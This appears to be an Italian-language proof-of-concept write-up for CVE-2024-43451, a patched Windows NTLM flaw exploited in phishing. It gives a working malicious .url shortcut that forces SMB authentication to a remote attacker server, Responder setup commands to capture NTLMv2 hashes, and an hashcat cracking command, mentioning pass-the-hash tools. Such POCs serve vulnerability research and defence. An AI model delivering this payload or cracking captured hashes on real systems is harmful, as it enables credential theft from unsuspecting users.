
CVE-2024-43451 è una vulnerabilità NTLM di Windows che permette a un attaccante di forzare l'autenticazione e catturare hash NTLM utilizzando scorciatoie dannose.
CVE-2024-43451 è una vulnerabilità zero-day in Microsoft Windows che consente agli attaccanti di catturare hash di password NTLMv2 con un'interazione minima da parte dell'utente, portando potenzialmente al furto di credenziali. Un metodo comunemente sfruttato prevede l'utilizzo dell'autenticazione NTLM su connessioni SMB verso un server remoto per catturare l'hash. Questa vulnerabilità è stata corretta negli aggiornamenti di novembre 2024. Si consiglia agli utenti di applicare gli opportuni aggiornamenti di sicurezza per mitigare il rischio.
Questo attacco è stato scoperto essere attivamente sfruttato tramite un'email di phishing inviata da un server governativo ucraino compromesso. L'email include un file URL malevolo. Quando l'utente interagisce con il file cliccando con il tasto destro, eliminando o spostandolo, la vulnerabilità viene attivata. Ciò innesca una connessione al server dell'attaccante, portando al download di ulteriori file malevoli, come il malware SparkRAT (un trojan ad accesso remoto open-source che permette all'attaccante di ottenere il controllo del sistema della vittima).
NTLMv2 è attualmente la versione più sicura e più rilevante oggi.
image
Per creare un ambiente funzionante per questo POC dobbiamo impostare una macchina Windows target con un numero di build rilasciato prima di novembre 2024, e un server remoto per simulare la cattura dell'hash:
Responder per catturare l'hash tramite SMB:
brew install python3
git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -I <put your network interface> -v
\\(remote server IP):
Poiché tutto ciò di cui ha bisogno l'exploit è effettuare una connessione SMB con il server remoto, possiamo usare un semplice file per simularlo:
[InternetShortcut]
URL=\\(remote server IP)\share
IconIndex=32
IconFile=C:\Windows\System32\shell32.dll
Una volta che il file è preparato e consegnato al sistema target, rubare l'hash richiede un'interazione minima dell'utente. Questa interazione potrebbe coinvolgere una qualsiasi delle seguenti azioni:
https://github.com/user-attachments/assets/fd6389b5-4ee9-4d90-a76e-562394b24058
https://github.com/user-attachments/assets/b820ea73-b0fc-40f1-920e-28cf7869f1e2
Con l'hash non crittografato in mano, possiamo tentare di crackarlo per rivelare la password in chiaro o usarlo in un attacco Pass-the-Hash con strumenti come Mimikatz o Metasploit.
Nel nostro caso, un semplice comando Hashcat rivela la mia password:
hashcat -m 5600 leak.txt rockyou.txt
